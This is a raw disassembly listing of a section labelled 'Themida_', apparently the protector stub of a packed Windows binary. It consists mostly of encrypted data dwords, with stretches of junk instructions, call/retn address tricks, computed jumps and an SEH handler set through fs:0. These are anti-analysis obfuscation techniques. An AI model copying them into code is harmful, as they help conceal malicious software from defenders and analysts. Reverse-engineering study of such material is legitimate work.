		dd 0A7F64201h, 9F6EE9ACh, 0FF880FD0h, 0CD485B69h, 0FFDA3DFEh
		dd 0FB765B69h, 6D0CDBA6h, 0CBAE8573h, 354000BAh, 92E79EBAh
		dd 770B5FD5h, 0D2EE6961h, 773BFAF7h, 420DFDCh, 9B0A8207h
		dd 21C08FA2h, 8F466227h, 0F46BBC3Ah, 0CE07C250h, 0BE629B2Dh
		dd 18BC17B0h, 5DF84DFFh, 42DDA160h, 8F6A8645h, 0C2B7D392h
		dd 0AFACF344h, 4DAA2CF0h, 0D9B603CEh, 11Ch, 1BA6926Bh
		dd 0EDAE7D4Ch, 5B69B0AAh, 9956AB26h, 6177E243h,	0E4B382FDh
		dd 987EE423h, 8CE15CA2h, 0DD9C9974h, 0C2817E19h, 0A2F79BA6h
		dd 41ADAE80h, 0F5F28DE2h, 0A7251A36h, 53120F56h, 8AEA0D8Fh
		dd 3B3CB604h, 0CE000000h, 4918A992h, 69B02188h,	3C3AD9DBh
		dd 57AC637Fh, 0FD1994h,	0DB69B099h, 36A1F270h, 2CEDBC05h
		dd 5B69B0CDh, 0D3ECE685h, 69B0F712h, 55D04B5Bh,	43078239h
		dd 9BF9h, 0A6928700h, 0B08306C7h, 0C43F5B69h, 9E759220h
		dd 0C13CD507h, 935A53F2h, 0A4733Eh, 0E4DD3CD1h,	7C4197Ah
		dd 61774A55h, 2DF2EC8Bh, 753E3611h, 67E2A5FAh, 0B473704Bh
		dd 995855F0h, 0FBCE727Dh, 0F47A07D5h, 7D9D5AAFh, 28A29BC2h
		dd 0F9C2BA59h, 965726DDh, 0A29BC273h, 81FF54CFh, 2DECE930h
		dd 338EAA69h, 0DFC9C564h, 9D77F56Bh, 257D2B0h, 195C7637h
		dd 0F16C988Eh, 0EAFDFAD5h, 0B618EE29h, 6CE762A8h, 0E536F450h
		dd 3403BE7Ah, 0A39E5B73h, 2AEE6992h, 0C7C05Fh, 6AD82DE4h
		dd 4C1BA692h, 7C36438Bh, 10D57961h, 0D6391C93h,	46A61145h
		dd 7D9B48A2h, 1BEA6528h, 0EE93837Ch, 321AFA43h,	677FD44Fh
		dd 0CD08F8Ch, 0AA479D41h, 513E1C53h, 0A56461FCh, 0D9C332D6h
		dd 982F63CFh, 642E2B43h, 5137876Dh, 0E4A9A342h,	3EBC11C8h
		dd 0D9D776EDh, 0F449001Ch, 0D99D5C59h, 6682413Eh, 0FDCC918Bh
		dd 2B2A6D2Eh, 2BA6DD85h, 0A462BED6h, 500F0C53h,	35F4F18Ch
		dd 0D8F19h, 21C00000h, 8E456128h, 0DF34F1EFh, 0B6813371h
		dd 0FDD8F4BFh, 4A254100h, 98738F4Ch, 0E1BCD89Fh, 290420E9h
		dd 714C6831h, 0BB96B277h, 6E1FDC0h, 692D490Ah, 5FD68h
		dd 24148900h, 544F68h, 242C8900h, 3B6268h, 241C8900h, 9ACBE56h
		dd 0E6816CD0h, 44AF4F7Bh, 205FBA52h, 0F28145D0h, 63090BE5h
		dd 5BE1E281h, 0F2813D4Ch, 0CA3768Dh, 0C15AD601h, 0C68106EEh
		dd 28DA5D47h, 193ACE81h, 0F6817E06h, 78849D13h,	685EF589h
		dd 54E8h, 83242489h, 5B042404h,	703568h, 242C8900h, 8B08438Fh
		dd 8951241Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 242C8B5Ch
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFBF354h
; ---------------------------------------------------------------------------
		pop	edx


loc_592149:				; CODE XREF: Themida_:00591C60j
		mov	eax, 6128AACh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0F878h
		dd 0D6773FE2h, 625C014Ah, 418C6453h, 316C235Fh,	34C97217h
		dd 0D723558Fh, 0CCE14ECh, 0E7040936h, 0BE7B3D21h, 53992997h
		dd 22465FDAh, 0C58E183Dh, 0DAF94839h, 0BC38625Ch, 9E86A36h
		dd 0B4450BD4h, 0EC043F74h, 0AD680B6Ch, 0EF9E2A20h, 858D45E8h
		dd 60E19C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0E5C35545h, 0E24B7DDBh,	0B9AC8374h, 58E0FA5h, 66000000h
		dd 0A881C781h, 0F525090h, 0BF525031h, 63C7D21Ch, 8E0F310Fh
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		push	eax
		push	edi
		push	eax
		jmp	loc_592200
; ---------------------------------------------------------------------------
		aaa
		mov	[edi], ah
		or	eax, 3E1C1154h


loc_592200:				; CODE XREF: Themida_:005921F3j
		pop	edi
		pop	ebx
		nop
		push	0
		push	ebx
		call	sub_59220E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59220E	proc near		; CODE XREF: Themida_:00592206p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_59220E	endp

; ---------------------------------------------------------------------------
		mov	dl, 2Eh
		or	ch, [esi+edx*4+6A953D84h]
		add	[edx+0], ch
		push	ebp
		call	sub_592233
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592233	proc near		; CODE XREF: Themida_:0059222Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_592233	endp

; ---------------------------------------------------------------------------
		db 64h
		dd 0B2E598B6h, 6860Fh, 95010000h, 60E1AF5h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 6960F0C3h, 0CCDAFE32h, 0E9ABACB5h, 5, 0EA6AE328h, 90858DFAh
		dd 6A06128Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0B450C356h, 0A577B7D1h, 21D9D09h
		dd 0DA8B060Eh, 6A05C083h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0DE66C351h,	605040B7h
		dd 0B8665250h, 310F7522h, 585A6160h, 61FE8B66h,	0E9240489h
		dd 0Dh,	31E2365Fh, 0FFF7BA57h, 0F5C19BB1h, 0F006AF7h, 6ADBBFh
		dd 3E1BFDBFh, 6800F78h,	8B000000h, 0E0061BDh, 0E195FF06h
		dd 6A060E2Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 717EC351h, 96037DE3h, 2DF78166h
		dd 0C18D295Eh, 0E9060E22h, 5, 9374723Eh, 4B8D8D17h, 6A061192h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0A981C356h, 9727F27Ah, 68D494C9h,	10E8h
		dd 28DCA900h, 19B30ACFh, 0D3CC78DCh, 0D6AF5FA7h, 8E8BDh
		dd 4B7E0000h, 2518E875h, 0BD891F78h, 60E0C45h, 0EE95B5Fh
		dd 0E0000000h, 61067BFBh, 0A829EEDDh, 87324864h, 0BE9F0h
		dd 0A0540000h, 6F941A54h, 24E5921Dh, 6AD1FF5Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0FDBDC351h, 0A89C9A9Fh, 80E380C1h, 0D79BD83h, 0F01060Eh
		dd 8F85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0C4CD4543h, 0D53FC185h, 9D89FAC9h
		dd 60E297Dh, 2960026Ah,	0E1F458Dh, 31B58B06h, 61060E04h
		dd 0F525050h, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0A7E244C3h, 61F5FC60h
		dd 1E4995FFh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD8BE2C3h, 60E001Dh, 0D1CE9h, 0E800h
		dd 815D0000h, 128E9AEDh, 8B59B306h, 0E22A19Dh, 5858D06h
		dd 6A061184h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D9AAC356h, 7CA81148h,	35BD8BC2h
		dd 8B060E21h, 0E09959Dh, 0B5BD0B06h, 50060E21h,	0B0A6BABBh
		dd 24048920h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	7BC35747h, 35FF64E8h, 0
		dd 0C1A7BB66h, 258964h,	66000000h, 7D86C781h, 147585FFh
		dd 0FF6A060Eh, 19998589h, 0B5FF060Eh, 60E2485h,	0CBB70F60h
		dd 0EE8h, 36972E00h, 235347AAh,	0F567F158h, 0E8C9EEBDh
		dd 11h,	9904D410h, 47B7A1F9h, 2D20E5D6h, 35AF5433h, 615958BBh
		dd 2F8195FFh, 1EE9060Eh, 1000001h, 0E17FD85h, 0E900B006h
		dd 0Dh,	0C6F6C5E8h, 2BBB374Ch, 7CBB0A47h, 8B70E667h, 8B71E4F8h
		dd 0E2F41BDh, 0F613C06h, 0F083h, 0F1858900h, 0F060E0Bh
		dd 9D8BC8B6h, 60E0E2Dh,	6BAh, 800F6000h, 3, 66F98B66h
		dd 61AF0CB8h, 8BC18BFCh, 0E3189BDh, 4E8C106h, 0BFE2F766h
		dd 6C332993h, 0B589C82Bh, 60E09FDh, 8529D18Bh, 60E277Dh
		dd 8E9h, 0F7815100h, 6DF8ADEBh,	51858B5Fh, 60060E0Dh, 24B58D89h
		dd 0BF0F060Eh, 0C08361CFh, 0FAB70F07h, 0C08302B7h, 499D8900h
		dd 3B060E0Fh, 26830FD0h, 0E9000000h, 10h, 97030C6Bh, 496705B5h
		dd 52F3A68Bh, 578DB984h, 58E9h,	6880F00h, 29000000h, 0E0C098Dh
		dd 58D8B06h, 81060E2Dh,	94E741CFh, 1E18368h, 37840Fh, 13E90000h
		dd 2C000000h, 736CCEBBh, 0ABDDCCE2h, 0DF48E7A7h, 0E256BB54h
		dd 0A5838211h, 60E2D05h, 6800FFEh, 1000000h, 0E130185h
		dd 51958906h, 0F8060E0Dh, 0E9h,	3AB58D00h, 6A0611EEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0A97CC353h, 14E9186Fh, 56000000h, 5274739Eh,	6EA2B22Fh
		dd 0E2019892h, 0BF804A82h, 530882E8h, 1CC59D8Bh, 6A5B060Eh
		dd 5870F00h, 0BB000000h, 395FF123h, 2D099D8Bh, 95FF060Eh
		dd 60E0F45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D3C35747h, 29CCE47Ah, 0E18098Dh, 874B906h, 16B70000h
		dd 6AFCE183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CB9FC351h, 68C0F15h, 8B000000h
		dd 0E1485BDh, 9D8BFC06h, 60E1DC1h, 0D88BC02Bh, 6AD22Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0BE1BD6C3h, 8501FAAh, 33ADFC37h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0CD26CBC3h, 8166F827h, 0D9AD1CFh,	88h, 69B58B60h
		dd 0F060E2Eh, 8B61D1B7h, 0E2FC595h, 0C8B0F06h, 0F000000h
		dd 683h, 0A1BD2B00h, 8B060E29h,	0E08818Dh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0B4559372h, 9326F904h, 0BD292089h, 60E2F15h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 89605818h,	0E24C185h
		dd 7E96006h, 0F0000000h, 3AB9CBD3h, 8B66398Bh, 6A6161D7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0EF82C355h, 0BD833AA8h, 60E0C6Dh,	66840F00h
		dd 0E8000000h, 8, 0DE486089h, 661A5E24h, 0B85FF8h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A54FC356h, 9589D0F7h, 60E2ED5h, 4DD18D8Dh
		dd 0E1FF060Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	32C35343h, 187B9AEh, 14398CF7h,	0D9BD83CAh, 60E28h
		dd 450840Fh, 34BF0000h,	834D8C6Eh, 0E28D9BDh, 840F0106h
		dd 459h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0AFC35040h, 24C19501h, 0BD83060Eh, 60E28D9h, 0F4860F03h
		dd 8B000003h, 0E33ED9Dh, 858B6006h, 60E00CDh, 8E9h, 79A4CE00h
		dd 0A7ED9255h, 0F606109h, 388h,	0D9BF0F00h, 66D98C66h
		dd 809F85BFh, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 723FA8C3h, 5965A00Bh, 0A47F780h
		dd 1D840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0A847C350h,	0E381AFC2h
		dd 5044A3E7h, 17F9858Bh, 0BD8B060Eh, 60E1AFDh, 1D1D8533h
		dd 5E8060Eh, 8F000000h,	6A82C2EDh, 0CE8B6660h, 5B615F57h
		dd 5EBF6650h, 24048954h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0A3C35343h, 1FF6EC19h, 0A60A48CCh, 14298589h
		dd 6A060Eh, 5830Fh, 5BBB0000h, 0E828F883h, 4, 1F03FFh
		dd 28B0Fh, 0FD8A0000h, 58F0F50h, 0BF000000h, 2D4515B1h
		dd 424448Bh, 11E9h, 0C2CF5000h,	1EDB709Ch, 0DB6B2868h
		dd 0B56CB88Bh, 8BCC4Ch,	5BDA8B56h, 4244489h, 8E9h, 919FDA00h
		dd 31DD82E7h, 8B0F5838h, 6, 3EC6DB81h, 95FF4F05h, 60E0ED5h
		dd 0A07B8589h, 6A0611h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 3ACAC6C3h, 8589BBBEh, 60E3121h
		dd 218E9h, 0FA8B6600h, 0A073858Bh, 6A0611h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0C7D8F0C3h
		dd 1800h, 819D8B00h, 8B060E0Ah,	11A077B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 5AC534E5h, 0FECEFD12h, 6820F5Eh, 8B000000h, 0E3481BDh
		dd 35858B06h, 6A060E14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0E783C352h,	0E9EEE380h
		dd 11h,	6DCE6A5Fh, 13EF131Ah, 0BB694B92h, 700EBDD5h, 6A06899Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 1595C350h, 0E7BECEBDh, 665C09E9h,	0D3ECE781h
		dd 17F9858Bh, 9D8B060Eh, 60E30D9h, 6A044689h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0AA42C352h, 0B28C7AABh, 0B5293211h, 60E0061h, 0AE950h
		dd 55EF0000h, 49CC4E28h, 910A2572h, 6A243489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6CF7C353h, 165D8529h, 8B60060Eh, 0E0FC185h, 0F9B53106h
		dd 61060E30h, 0A073B5FFh, 0BF660611h, 0E4682CE8h, 0E94EF7FEh
		dd 9, 0C522B08h, 0DD71C78h, 24348104h, 4EE8FD1Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A0C35646h, 0E8159E20h
		dd 975DA3B8h, 13E9h, 0A285C700h, 0F8A7A677h, 0B4326F23h
		dd 0B9C348CBh, 1A7B6F82h, 0A07B858Dh, 6A0611h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 937735C3h, 68C0F08h,	89000000h, 0E0A498Dh, 8B665006h
		dd 240489DEh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	7C35646h, 958960E7h, 60E15CDh, 9C59531h, 0FF61060Eh
		dd 0E0ED595h, 0D0BB6606h, 6A61C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0C79164C3h, 0E28D985h
		dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 85FF6B1Ch, 839AF4AAh, 11A07BBDh
		dd 840F0006h, 0Fh, 0FAD682BBh, 20E946h,	81660000h, 504D6BEBh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 94EE0EC3h, 959509D3h, 89060E2Fh
		dd 0E157DB5h, 0DAB70F06h, 28D9BD83h, 0F03060Eh,	3F985h
		dd 41B58900h, 83060E20h, 11A07BBDh, 840F0006h, 3E6h, 89D8D89h
		dd 0BD0B060Eh, 60E1A89h, 0A07BB5FFh, 85890611h,	60E22D5h
		dd 8D595FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 45B90CC3h, 0B4E61DDBh, 5747FA1Fh
		dd 0D6F78166h, 0ADB35B42h, 0A06FB58Bh, 0EE80611h, 0D5000000h
		dd 0D9AB5F83h, 0DB3C086Fh, 0F7736F4Ah, 0D9BD8B3Eh, 5F060E07h
		dd 106C7h, 0F600001h, 5061F1BFh, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5770C357h
		dd 8BDDFF73h, 0E2531BDh, 7BB5FF06h, 6A0611A0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0D93EC356h, 0FE90C04h, 68000000h, 41C83024h,	0C8E699DBh
		dd 943FFAA7h, 29507B32h, 0E1A89B5h, 95FF5F06h, 60E1019h
		dd 0AD9D2357h, 5B060E0Dh, 2379B589h, 0B58B060Eh, 611A06Fh
		dd 3169BD23h, 858B060Eh, 60E00A9h, 89F9DF80h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6FD868EEh, 11528E51h, 0E3816652h, 958BA84Dh,	60E2FC5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 74C35545h
		dd 0BE97109h, 5A000000h, 0DA445605h, 67D1842Ah,	0C2835715h
		dd 4D9D8B04h, 89060E1Dh, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B2A36C3h, 0E2359BDh
		dd 11E806h, 220C0000h, 7766EC69h, 7999A8Ah, 0DD1AAF73h
		dd 608A19D9h, 17A19D01h, 5E53060Eh, 858D5B61h, 611B41Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D2C35747h
		dd 0DEBA0C54h, 1D9D8B66h, 89060E2Ah, 0B886h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 5DA92AB1h, 6A006A55h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 1B2AC352h, 8C92392h
		dd 0ACD8CF46h, 0FFDA8B66h, 11A07BB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E97824B0h, 0Dh, 2A73B43Ah, 22C57A3h, 0A78F6AD6h, 4995FFDBh
		dd 89060E1Eh, 0E070DB5h, 8B665006h, 243489F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CDC35545h, 0DCCDEDB0h
		dd 4F53BB6Ch, 0B5FF15E4h, 611A07Bh, 0FFDF8B66h,	0E16D195h
		dd 8E906h, 9C190000h, 70BDCFD1h, 0BD831352h, 60E30D5h
		dd 3B840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0DCA7C351h,	0F30A0FCEh
		dd 55BD8BF6h, 50060E07h, 38D0Fh, 8B660000h, 243489F9h
		dd 1D258589h, 0B5FF060Eh, 611A07Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 97C35141h, 0F99D0B7Fh, 0FF060E13h
		dd 0E298195h, 95BB6606h, 7BB5FF57h, 890611A0h, 0E1D518Dh
		dd 0BD95FF06h, 6A060E1Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0BF59C353h,	26CDBF0Bh
		dd 9D8B4CEFh, 60E3379h,	0DA5CBF66h, 29D5BD83h, 0F02060Eh
		dd 4984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 33D67D9Ch, 858B0AD7h, 60E07D1h, 6820Fh
		dd 9D890000h, 60E1BADh,	0C6F98B66h, 0F600000h, 282h, 89D98B00h
		dd 0E2AA9B5h, 85C76106h, 60E3515h, 0
		dd 164EF781h, 9BE9624Ah, 0FFFFFF3h, 1987h, 14E900h, 83C50000h
		dd 0A6E1BFCFh, 5F9860F9h, 0C9BD1E56h, 9BD78A12h, 0C18B75FFh
		dd 0A60ECABFh, 0C1858D37h, 6A060E19h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CE21C353h
		dd 0F9DD17Ah, 58Eh, 0DB816600h,	0BF50E6ACh, 17779EF0h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 402C352h, 0FE8CCBFh, 6AFEB7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0BEC35545h
		dd 0CA8A600Ch, 7FA1CF81h, 6A613115h, 759D8B00h,	8B060E1Bh
		dd 0E2EB19Dh, 22858D06h, 0E806129Dh, 0Ah, 0A360AAC9h, 47F07685h
		dd 0DC8A7EB9h, 5C0835Bh, 18118531h, 0DE8B060Eh,	98BF6690h
		dd 0AE9503Ch, 8D000000h, 395AD24Bh, 0CDFA8DDAh,	6A90B3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1DB1A9C3h, 0F98A67F4h, 0DD8A006Ah, 0FB8B006Ah, 9E8h
		dd 7C1F6600h, 0AECEADEBh, 0FF5B59BDh, 0E2FE195h, 4B8D8D06h
		dd 0FF061192h, 41BD0BD1h, 83060E17h, 0E0D79BDh,	850F0106h
		dd 4Ah,	0EAD8589h, 26A060Eh, 15ADBD8Bh,	0BB90060Eh, 7C62C43Eh
		dd 4DBF6650h, 6A9029h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 710BA9C3h, 0BD8B50E6h, 60E19EDh
		dd 1E4995FFh, 0BB66060Eh, 0A4E96B47h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6129D2Ch
		mov	edi, 7FB99CAEh
		lea	eax, [ebp+6118405h]
		nop
		push	ebx
		jge	loc_593344
		mov	bl, 0D6h


loc_593344:				; CODE XREF: Themida_:0059333Cj
		pop	edi
		push	eax
		mov	edi, eax
		nop
		push	0
		push	edi
		call	sub_593354
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593354	proc near		; CODE XREF: Themida_:0059334Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_593354	endp

; ---------------------------------------------------------------------------
		pop	ebp
		sbb	edi, [edi+277AECDDh]
		scasd
		and	ebx, [ebp+60E2CA5h]
		push	large dword ptr	fs:0
		mov	edi, 3169334Fh
		mov	large fs:0, esp
		jmp	loc_59339B
; ---------------------------------------------------------------------------
		dw 9234h
		dd 0DF91E776h, 0D4693A27h, 0B0DFC42Fh
		db 0EFh, 36h, 72h
; ---------------------------------------------------------------------------


loc_59339B:				; CODE XREF: Themida_:00593385j
		inc	dword ptr [ebp+60E1475h]
		push	0
		push	ebx
		call	sub_5933AC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5933AC	proc near		; CODE XREF: Themida_:005933A4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5933AC	endp

; ---------------------------------------------------------------------------
		dd 3A3D33A4h, 7E9D7h, 3D8E0000h, 3CA99A7h, 66FF6AF5h, 0B5FFF98Bh
		dd 60E0DCDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	29C35242h, 7E8h, 7DC65900h, 4BACD548h, 830Fh, 0FF5B0000h
		dd 0E2F8195h, 0E3E906h,	8D890000h, 60E1CEDh, 5E900B0h
		dd 29000000h, 1B891C8Ah, 9D8B70E6h, 60E1FEDh, 850F71E4h
		dd 0
; ---------------------------------------------------------------------------
		cmp	al, 61h
		jnb	loc_5934F5
		mov	[ebp+60E23D1h],	ecx
		movzx	ecx, al
		mov	edx, 6
		and	bl, 0F5h
		mov	ebx, [ebp+60E1D2Dh]
		mov	eax, ecx
		jbe	loc_593461
		mov	[ebp+60E18FDh],	edi


loc_593461:				; CODE XREF: Themida_:00593455j
		shr	eax, 4
		movsx	ebx, bx
		mov	[ebp+60E2F89h],	edx
		mul	dx
		sub	ecx, eax
		adc	ebx, 2D299BEBh
		mov	edx, ecx
		mov	ebx, [ebp+60E23ADh]
		jmp	loc_59348B
; ---------------------------------------------------------------------------
		mov	[ebp+60E07B9h],	ecx


loc_59348B:				; CODE XREF: Themida_:00593480j
		mov	eax, [ebp+60E0B11h]
		push	ebx
		mov	ebx, edi
		pop	ebx
		add	eax, 7
		mov	ebx, [ebp+60E2D89h]
		mov	ebx, ecx
		add	eax, 0
		mov	ebx, edx
		cmp	edx, eax
		jnb	loc_5934BC
		xor	bx, 7CFCh
		jmp	loc_5934F5
; ---------------------------------------------------------------------------
		sbb	bx, 0A7A9h


loc_5934BC:				; CODE XREF: Themida_:005934A7j
		mov	ecx, [ebp+60E0DBDh]
		pusha
		mov	[ebp+60E02E5h],	esi
		and	ebx, [ebp+60E2FD9h]
		popa
		and	ecx, 1
		jz	loc_5934F5
		mov	di, dx
		or	[ebp+60E0E81h],	edx
		and	dword ptr [ebp+60E0DBDh], 0FFFFFFFEh
		cld
		mov	[ebp+60E0B11h],	edx
		jmp	$+5


loc_5934F5:				; CODE XREF: Themida_:00593436j
					; Themida_:005934B2j ...
		lea	esi, [ebp+611F803h]
		push	0
		push	esi
		call	sub_593506
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593506	proc near		; CODE XREF: Themida_:005934FEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_593506	endp

; ---------------------------------------------------------------------------
		dw 285Fh
		dd 18DB7AF8h, 0CD9D319Eh, 6A060E0Fh, 6D858900h,	8B060E0Dh
		dd 4595FFDFh, 60060E0Fh, 14E8h,	8405C000h, 31ACBB5Ah, 0C9DC1879h
		dd 0FE213033h, 957B00CFh, 0B9BD8954h, 58060E2Eh, 8B4B961h
		dd 0BD8B0000h, 60E22E9h, 6AFCE183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E3DFC352h
		dd 8306F381h, 0F7815890h, 4B7FBE69h, 208C0FFCh,	0E8000000h
		dd 14h,	1C1BDCC2h, 0D440F28h, 0CF0C5783h, 0B3E738CEh, 88E67E4h
		dd 1BA1BD89h, 0F5B060Eh, 0C02BFABFh, 3B84B860h,	61FC2422h
		dd 9D89D22Bh, 60E31EDh,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4AC35545h
		dd 6F5BD0Bh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6ED365C3h, 31119D03h, 880D060Eh
		dd 0B7000000h, 0C5958BB2h, 6A060E2Fh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BEEC352h
		dd 0E08818Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 8B536F2Ah, 8AC4450h, 8B500CF3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0A1C35141h,	765EA833h, 7832EB3Bh
		dd 0A58D31D2h, 83060E13h, 0E0C6DBDh, 840F0006h,	0C5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E8C35545h, 0C0451C26h
		dd 4385DE0Bh, 6890FB7h,	8B000000h, 0E188D9Dh, 0B8FE8B06h
		dd 0
